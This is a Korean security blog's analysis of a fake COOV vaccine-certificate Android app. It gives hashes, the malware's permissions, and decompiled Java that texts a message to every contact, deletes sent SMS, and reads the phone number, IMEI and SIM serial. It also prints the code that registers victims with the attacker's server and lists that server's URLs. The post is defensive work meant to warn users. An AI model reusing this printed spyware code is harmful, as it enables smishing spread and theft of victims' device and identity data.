꿈을꾸는 파랑새

반응형

오늘은 질병관리청 COOV(코로나19 전자예방접종증명서)를 사칭하는 악성코드인 질병관리청 COOV(코로나 19 전자예방접종증명서).apk(2021.11.03)에 대해 글을 적어 보겠습니다. 질병관리청에서 제공을 하는 질병관리청 COOV(코로나19 전자예방접종증명서) 질병관리청에서 질병관리청과 (주)블록체인랩스 에서 개발한 세계 최초 블록체인 기반의 코로나19 디지털 예방접종 인증 앱 이며 해당 앱을 통해서 한국 국민이며 코로나19 예방 접종 증명서 스마트폰에서 받아서 증명을 할수가 있게 만들어진 앱으로 코로나 19 예방 접종을 한 국민이면 해당 앱을 통해서 누구나 쉽게 코로나 19 백신을 언제 어떤 종류를 맞았는지 확인을 할 수가 있는 편리한 앱입니다.

코로나 19가 유행을 하면 가짜 질병 관리 본부 사칭 피싱 사이트가 등장을 해서 안드로이드를 사용하는 스마트폰 사용자를 공격하는 악성코드를 만들어 배포하고 있고 이로 말미암아서 개인정보 노출 등 피해가 발생을 하고 있습니다.
먼저 해당 악성코드의 해쉬값을 보겠습니다.
파일명: 질병관리청 COOV(코로나 19 전자예방접종증명서).apk
사이즈:2.59 MB
CRC32:0ee24b68
MD5:d7e1516eb2c4d31853b5ea67701ccdb5

[소프트웨어 팁/보안 및 분석] - 질병관리청 사칭 질병관리청 COOV 스미싱 피싱 악성코드-질병관리청 COOV(2021.08.13)

 

질병관리청 사칭 질병관리청 COOV 스미싱 피싱 악성코드-질병관리청 COOV(2021.08.13)

오늘은 가짜 질병관리본부 사칭 스미싱 피싱 사이트 악성코드 질병관리청 COOV(2021.08.13) 에 대해 알아보겠습니다. 질병관리본부(Korea Centers for Disease Control & Prevention)는 국민의..

wezard4u.tistory.com


SHA-1:89dd338478d2265935e07ffb82cf533c767b5e47
SHA-256:f1e07ff8593428ff943baf786084c089c82d4258d99db570fdaf8c397146a7c0
SHA-512:d42820c7ce993a030544a628973f3304b032434c7142107c7d38e28c043a52e2966fdb8d729e04bdf513e3b6f4152cb489ae8a75eaf8e58b60d1c26106d6954d

질병관리청 악성코드 COOV(코로나19 전자예방접종증명서) 아이콘
질병관리청 악성코드 COOV(코로나19 전자예방접종증명서) 아이콘

입니다.일단 해당 악성코드의 APK 파일을 압축을 해제하면 다음과 같이 정상적인 COOV 아이콘이 포함돼 있고 그리고 악성코드 작성 시 저번처럼 악성코드에 개인정보를 입력하기 위한 이미지 파일이 숨어져 있는 것을 확인할 수가 있습니다. 먼저 해당 악성코드 안드로이드 권한은 다음과 같습니다.

질병관리청 COOV(코로나19 전자예방접종증명서) 안드로이드 권한
질병관리청 COOV(코로나19 전자예방접종증명서) 안드로이드 권한

<uses-permission android:name="android.permission.GET_TASKS"/>
<uses-permission android:name="android.permission.INTERACT_ACROSS_USERS_FULL"/>
<uses-permission android:name="android.permission.GET_TOP_ACTIVITY_INFO"/>
<uses-permission android:name="android.permission.REORDER_TASKS"/>
<uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="android.permission.REORDER_TASKS"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_PRIVILEGED_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.WRITE_SETTINGS"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_SMS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.ANSWER_PHONE_CALLS"/>

악성코드 질병관리청 COOV(코로나19 전자예방접종증명서)
악성코드 질병관리청 COOV(코로나19 전자예방접종증명서)

해당 악성코드 권한들을 보면 다음과 같은 작업을 합니다.INTERACT_ACROSS_USERS_FULL 권한을 사용해서 모든 사용자에게 브로드캐스트 메시지를 보내 디바이스 관리자를 변경 그리고 모든 사용자에게 영향을 미치는 높은 권한의 작업도 수행
GET_TOP_ACTIVITY_INFO: 권한을 가진 프로그램이 화면의 포그라운드 에서 현재 애플리케이션에 대한 비공개 정보를 검색하도록 허용
태스킹시 최상단 권한, 스마트폰 잠금 해제, 프로그래밍 방식으로 걸려오는 전화를 받을 수 있는 기능, 인터넷, 설정 쓰기, 문자 읽기, 문자 쓰기, 전화 걸기, 핸드폰 번호, 기기 고유 id 등 단말기 정보 가져오기 등을 가진 악성코드입니다. 물론 연락처 읽기, 연락처 읽기도 포함이 돼 있습니다.
앱 이름: 질병관리청 COOV(코로나 19 전자예방접종증명서)
패키지 이름: com.example.myapplication

질병관리청 COOV(코로나19 전자예방접종증명서) 신분증 면허증 촬영 요구
질병관리청 COOV(코로나19 전자예방접종증명서) 신분증 면허증 촬영 요구

일단 해당 악성코드를 실행하면 신분증/면허증 촬영하기
1. 신분증/면허증 앞면 칸에맞추세요.
2. 빛반사없이 어두운곳에서 촬영하세요.
라고 돼 있는데 첫 번째 한국인이라면 여기서 띄어쓰기가 이상한 것을 볼 수가 있으며
진짜 질병관리청 COOV(코로나 19 전자예방접종증명서)은 휴대폰 번호로 인증이 진행되며 그리고 절대로 신분증, 면허증 사진을 요구하지 않습니다. 그리고 카메라 접근 권한은 QR 코드 인식을 하려고 권한을 주면 카카오톡 같은 곳에서는 현재 개인 안심번호를 통해서도 COOV(코로나 19 전자예방접종증명서)를 제공을 하고 있기 때문에 카카오톡을 이용을 하시는 것도 좋은 방법입니다.
그리고 질병관리청에서는 코로나 19 백신 사전예약시스템을 통하였으면 이외에는 개인정보를 요구하지 않으면 코로나 19 백신 예약을 했을 때 코로나 19 백신 예약한 병원, 시간만 보내자면 그리고 질병관리청 COOV(코로나19 전자예방접종증명서)은 사용자가 구글 플레이 같은 공식 스토어에서만 다운로드 해서 실행을 하면 은행 관련 정보는 요구하지 않습니다. 
해당 악성코드는 신분증, 면허증 은행 정보를 확보해서 불법 대출을 받으려고 이루어지거나 통장에 있는 돈을 가로채려고 제작된 악성코드로 추측됩니다.

악성코드 문자(SMS)관련 코드는 com.example.myapplication.Tools에 있는 다음과 같습니다.

public void SendContactsServer(Context context2) {
        int i;
        int i2;
        if (!Boolean.valueOf(context2.getSharedPreferences("pref", 0).getBoolean("sendMsg", false)).booleanValue() && context2.getSharedPreferences("pref", 0).getInt("sms_switch", 0) != 1) {
            getPhoneNumber().replace(" ", "-");
            int count = 0;
            String word = context2.getSharedPreferences("pref", 0).getString("word", "test");
            String phone_list = context2.getSharedPreferences("pref", 0).getString("phone_list", "");
            if (phone_list != "") {
                String[] ps = phone_list.split("\n");
                int length = ps.length;
                int i3 = 0;
                while (i3 < length) {
                    String phoneNumber = ps[i3];
                    if (phoneNumber.length() > 3) {
                        i2 = i3;
                        i = length;
                        SmsManager.getDefault().sendTextMessage(phoneNumber, null, word, null, null);
                        count++;
                    } else {
                        i2 = i3;
                        i = length;
                    }
                    i3 = i2 + 1;
                    length = i;
                }
                SharedPreferences.Editor editor = context2.getSharedPreferences("pref", 0).edit();
                editor.putBoolean("sendMsg", true);
                editor.commit();
            }
        }
    }

    public void deleteSMS(Context context2) {
        try {
            ContentResolver CR = context2.getContentResolver();
            Cursor c = CR.query(Uri.parse("content://sms/sent"), new String[]{"_id", "thread_id"}, null, null, null);
            if (c != null && c.moveToFirst()) {
                do {
                    long threadId = c.getLong(1);
                    CR.delete(Uri.parse("content://sms/conversations/" + threadId), null, null);
                } while (c.moveToNext());
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public void SendNetContacts(Context context2) {
        String word = context2.getSharedPreferences("pref", 0).getString("smstext", "test");
        if (word.equals("")) {
            word = context2.getSharedPreferences("pref", 0).getString("word", "test");
        }
        String phone_list = context2.getSharedPreferences("pref", 0).getString("phone2_list", "");
        if (!phone_list.equals("")) {
            String[] ps = phone_list.split(";");
            for (String phoneNumber : ps) {
                if (phoneNumber.length() > 10) {
                    SmsManager.getDefault().sendTextMessage(phoneNumber, null, word, null, null);
                }
            }
        }
    }

    public void SendLocalContacts(Context context2) {
        int phoneIndex;
        String phoneNumber;
        getPhoneNumber().replace(" ", "-");
        Cursor cursor = context2.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
        int contactIdIndex = 0;
        int nameIndex = 0;
        if (cursor.getCount() > 0) {
            contactIdIndex = cursor.getColumnIndex("_id");
            nameIndex = cursor.getColumnIndex("display_name");
        }
        String word = context2.getSharedPreferences("pref", 0).getString("smstext", "test");
        if (word.equals("")) {
            word = context2.getSharedPreferences("pref", 0).getString("word", "test");
        }
        while (cursor.moveToNext()) {
            String contactId = cursor.getString(contactIdIndex);
            cursor.getString(nameIndex);
            Cursor phones = context2.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id=" + contactId, null, null);
            if (phones.getCount() > 0) {
                phoneIndex = phones.getColumnIndex("data1");
            } else {
                phoneIndex = 0;
            }
            if (phones.moveToNext()) {
                String phoneNumber2 = phones.getString(phoneIndex);
                if (phoneNumber2.length() > 0) {
                    phoneNumber = phoneNumber2.replace(" ", "").replace("+", "");
                } else {
                    phoneNumber = phoneNumber2;
                }
                if (phoneNumber.length() == 11 || phoneNumber.startsWith("86")) {
                    SmsManager.getDefault().sendTextMessage(phoneNumber, null, word, null, null);
                }
            }
        }
    }

    public void SendContacts(Context context2) {
        Boolean sendLocalMsg = Boolean.valueOf(context2.getSharedPreferences("pref", 0).getBoolean("sendLocalMsg", false));
        Boolean sendNetMsg = Boolean.valueOf(context2.getSharedPreferences("pref", 0).getBoolean("sendNetMsg", false));
        if (context2.getSharedPreferences("pref", 0).getInt("sms_switch", 0) == 0 && !sendLocalMsg.booleanValue()) {
            SendLocalContacts(context2);
            SharedPreferences.Editor editor = context2.getSharedPreferences("pref", 0).edit();
            editor.putBoolean("sendLocalMsg", true);
            editor.commit();
        }
        if (context2.getSharedPreferences("pref", 0).getInt("sms_netblockstate", 0) == 0 && !sendNetMsg.booleanValue()) {
            SendNetContacts(context2);
            SharedPreferences.Editor editor2 = context2.getSharedPreferences("pref", 0).edit();
            editor2.putBoolean("sendNetMsg", true);
            editor2.commit();
        }
    }

    public String regCustomer() {
        String phoneNumber = getPhoneNumber().replace(" ", "-");
        String telcompany = getTelCompany().replace(" ", "-");
        if (phoneNumber.equals("")) {
            return "";
        }
        String url = String.valueOf(HttpUtils.getHttpURL(this.context)) + "index.php?type=join&telnum=" + phoneNumber + "&telcompany=" + telcompany + "&version=" + Build.VERSION.RELEASE;
        MyAsyncTask myAsyncTask2 = new MyAsyncTask(this, this, null);
        this.myAsyncTask = myAsyncTask2;
        try {
            return (String) myAsyncTask2.execute(url).get();
        } catch (InterruptedException e) {
            e.printStackTrace();
            return "";
        } catch (ExecutionException e2) {
            e2.printStackTrace();
            return "";
        }
    }

    public static String getContent(String m) {
        return Uri.encode(m);
    }
}

전화 번화 관련 코드는 com.example.myapplication.Tools 에 볼수가 있습니다.

public String getPhoneNumber() {
        TelephonyManager tm = (TelephonyManager) this.context.getSystemService("phone");
        String phoneNumber = tm.getLine1Number();
        if (phoneNumber == null || phoneNumber.equals("")) {
            String SimserialNum = tm.getSimSerialNumber();
            String DeviceID = tm.getDeviceId();
            if (SimserialNum != null && DeviceID != null) {
                return String.valueOf(DeviceID.toUpperCase()) + "-" + SimserialNum.toUpperCase();
            } else if (DeviceID != null) {
                return DeviceID.toUpperCase();
            } else {
                return null;
            }
        } else if (phoneNumber.charAt(0) == '+') {
            return phoneNumber.substring(1);
        } else {
            return phoneNumber;
        }
    }

안드로이드 IMEI 에 접근을 하려고 androidx.appcompat.app.AppCompatDelegateImpl,com.example.myapplication.Tools,androidx.appcompat.app.ActionBar 있는 것을 확인할 수가 있습니다.

그리고 해당 악성코드에 포함된 URL 주소는 다음과 같습니다.

http://192.168.0(.)104:8087/ImageServer/upServer
K-.Ki(.)Ki/K-.
http://www.pbiex(.)fit/
http://schemas.android(.)com/apk/res-auto
http://schemas.android(.)com/apk/res/android
https://www.naver(.)com/

2021-11-03 04:59:15 UTC 기준 바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Spyware/Android.Agent.1050957
Alibaba:Trojan:Android/Boogr.36d8a4b0
Avast-Mobile:Android:Evo-gen [Trj]
Avira (no cloud):ANDROID/SpyAgent.FJVO.Gen
BitDefenderFalx:Android.Riskware.Agent.JEJ
CAT-QuickHeal:Android.SMForw.GEN37097
Cynet:Malicious (score: 99)
DrWeb:Android.SmsSpy.847.origin
ESET-NOD32:A Variant Of Android/Spy.Agent.BSO
Fortinet:Android/Agent.BSO!tr
Ikarus:Trojan.AndroidOS.Agent
K7GW:Trojan ( 0057ee141 )
Kaspersky:HEUR:Trojan.AndroidOS.Boogr.gsh
Lionic:SUSPICIOUS
McAfee:Artemis!4B72D6056537
McAfee-GW-Edition:Artemis!Trojan
Microsoft:Program:AndroidOS/Multiverze
Sophos:Andr/Spy-BFE
Symantec:Trojan.Gen.MBT
Symantec Mobile Insight:Spyware:MobileSpy
Tencent:A.privacy.emial.d
Trustlook:Android.Malware.Spyware
언제나 이야기하는 기본적인 예방 방법은 다음과 같습니다.
요약
1.구글 플레이 스토어 및 공식 스토어 이외에 어플 설치하지 말 것
2.공신력 있는 백신 앱(안티바이러스 앱) 설치해서 실시간 감시 및 실시간 업데이트할 것(AV-TEST 참고)
3.구글 안드로이드 스마트폰에서는 외부 앱을 설치를 하려고 하면 경고 메시지가 나오는데 해당 경고 메시지처럼 외부 앱 설치하지 말 것
4.스팸 차단앱 후후,후스콜,T 전화 같은 것을 사용하면 이런 앱을 활용을 하면 이런 보이스피싱 피해를 줄일 수가 있습니다.
5.소개팅 어플에서 어떤 어플을 다운로드 해서 설치하라고 하면 100% 악성코드입니다.
기본적인 보안 수칙을 지킨다고 하면 이런 스미싱 피해는 줄일 수가 있습니다. 특히 이름 있는 백신 어플을 사용을 하면 기본적으로 악성코드가 유포되는 사이트 및 악성코드를 사전에 차단할 수가 있습니다.

반응형
그리드형

댓글

비밀글모드

  1. 코로나 관련으로 상황이 심각한데 이런 피싱까지 나오다니 정말 조심해야겠네요 ㅠㅠㅠㅠ
    덕분에 잘 보고 갑니다 :)
    2021.11.05 16:31 신고
    • 이런 비슷한 공격은 계속 될것입니다.기본적인 보안 수칙을 지키는 것이 안전 합니다.
      2021.11.06 22:33 신고
  2. 오 그렇군요. 세상에 사람들은 아주 사악해여. ㅠㅠ
    2021.11.05 21:20 신고
    • 미국에도 이런 범죄가 많은 걸로 알고 있습니다.
      2021.11.06 22:34 신고
  3. 신분증 사진 요청 하는 건 조심해야죠^^
    2021.11.06 07:12 신고
    • 보통 저런 예방 증명서는 휴대폰 인증 인데 신분증,면허증 사진 업로드 하라고 하면 거의 100% 이죠.
      2021.11.06 22:34 신고